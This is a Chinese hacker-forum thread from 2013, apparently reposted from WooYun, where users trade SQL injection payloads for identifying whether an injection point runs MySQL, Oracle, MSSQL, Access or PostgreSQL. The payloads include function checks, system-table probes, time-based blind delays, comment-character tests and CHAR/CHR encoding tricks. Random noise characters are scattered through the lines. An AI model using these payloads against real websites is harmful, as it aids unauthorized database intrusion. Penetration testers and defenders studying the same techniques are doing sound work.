找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2144|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库6 e4 g: k+ D, i
xsser (十根阳具有长短!!) | 2013-02-05 12:36
5 t9 `/ _; D( B6 c假设这么一个注射点:3 x/ H: N5 ~* x& |
show.html?id=2( I6 w) b2 a, {1 I0 ~( o
mysql:id=2 and version()>07 s1 H, n+ o5 `2 l; L6 d
oracle:id=2 and '1'||'1'='11
5 M. r! N: a# |: G其他的欢迎补充
$ g% |1 D( F' |1#
. ?0 n. C. g8 A  vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:475 }) O% Z( y1 A' M6 }0 o
Access:  v0 _( V- T4 h9 ]) W2 _+ W
aNd aSc(cHr(97))=971 q6 [4 Y4 N. y. H5 _" l; E- L
and exists(select id from MSysAccessObjects). u; W4 r5 ^8 h0 R9 @$ u. A
SQL Server:' e& a8 v3 s5 M, F; d- g# ]/ ]3 ?
and exists(select id from sysobjects)4 V" J% z1 N! h( c" }0 ]2 v
and length(user)>0% L& ^" L8 v' R  F8 G
MySQL:7 |% A0 t# @( T
and length(user())>02 W9 O0 r( t1 E2 a  u* ~# z. b7 a9 g
2#
) I( k) K0 W$ _- x% a7 R) rxsser (十根阳具有长短!!) | 2013-02-05 12:48) B) q% Q: O. N' h9 y9 [
@upload 如果这些都不是呢…
* U5 I; j" l+ d4 v. @  _# U3#
6 W" U0 Q5 ]8 aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
* ]' _( q8 P& u( u0 C@xsser 不快速的,延时注入' v1 @7 @; i! H3 ?% u
不知道这样写对不对
- C' T7 q2 W/ t- B5 K: pmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
" c4 Y1 |2 S3 s; h: T; l! `7 _mysql:id=2 and select benchmark(1e8,current_date());
! s7 `1 ?1 L2 S- H% X: Z4#: S$ G7 \1 B; w! C9 m' A& F1 _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:107 R, B) [5 r# `% U) z9 P
最快的貌似是看报错信息
* d# K" I9 D4 p. U: F8 s6 Joracle error# J/ D' @0 x: P; E! m$ B3 t
mssql error
) b/ u; V. ~% Dmysql error0 g2 c! Z( W: C. L# W: ~
5#
3 g- H. o/ M4 I' F8 y1 S# C, YNimda (你们都是坏银~) | 2013-02-05 13:14# s" q6 f7 z  t0 l* B+ k
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)! K# a2 A7 ^# |+ Q: u- F8 Q2 Y0 d
6#3 _: o6 l1 L# d" H" F( A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
2 G* v& G" u$ h5 u% r4 \“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:' f# s% u3 z" l- _0 M# B
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
. S9 Z/ v' t$ V& B+ G“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
2 Y3 V" G1 C$ X! C7#
1 L' W4 Y! _9 j! t7 X4 C6 H; k8 A_Evil (HackEnd) | 2013-02-05 13:33
' S. @4 ^+ o. S# k# `5 GPostgreSQL
1 ]- c- Q4 {9 j8 ?; L8#0 s/ C/ {. d# |7 R, T! u" ^8 n
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
6 z# D' X& P) ~3 [$ {& x7 Q切换编码 and 1=1
' _8 R, ~- p. D7 N1 Y8 C) t  ]+ U: qoracle:
" w) s$ \) _  G0 |CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)# Y2 s$ }+ E3 k( P
mssql:
- X* S2 Y/ T( w; f/ d$ H" @CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49), K! Q3 ?1 n. J
mysql:# f9 G5 x( G* J; S
CHAR(97, 110, 100, 32, 49, 61, 49)
# z% l# B& m9 @% ?1 k1 W) Z9#
$ S( V, N# \& n, t) U# jxsser (十根阳具有长短!!) | 2013-02-05 14:31  y) X, z6 S; E! d5 x/ E& O8 ]
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?4 T7 n+ h, b/ {- _
10#
! z: p* n; J5 _7 O& }  r" S- tupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
/ O! V) U0 j7 A@xsser 是奇葩数据库类型的么?3 |. e4 {0 u( ]" R
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
0 z) y$ V4 X: Q$ Y3 a1.是否可以使用特定的函数来判断,该数据库特有的% H( t2 r6 N5 [$ A5 ]8 h' j
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等" K4 A; |1 G+ s! Y6 N+ V& [
3.是否可以编码查询2 t  H, U, G4 J+ u0 O. O% x
4.是否显可以利用错信息
0 ]  Z% _/ C5 T, ^& a5.是否存在数据库某些特性辅助判断
; I5 i2 e  E( Z- R/ k# n个人见解
6 \! ~% p3 Z+ S0 }4 X11#) t8 u" X/ _; W. S& {% @
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
8 f8 @) v9 _  W: t/ Q已收藏,mssql可以直接看到错误提示的吧~, N2 Z& d/ m) M- o( L, h
12#- a: b4 m; j2 v1 L* Z8 Q# a# r
Passer_by | 2013-02-05 15:09
+ b" |) F0 m9 Y曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。# K6 S) A. M" w! R! V6 A7 B
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表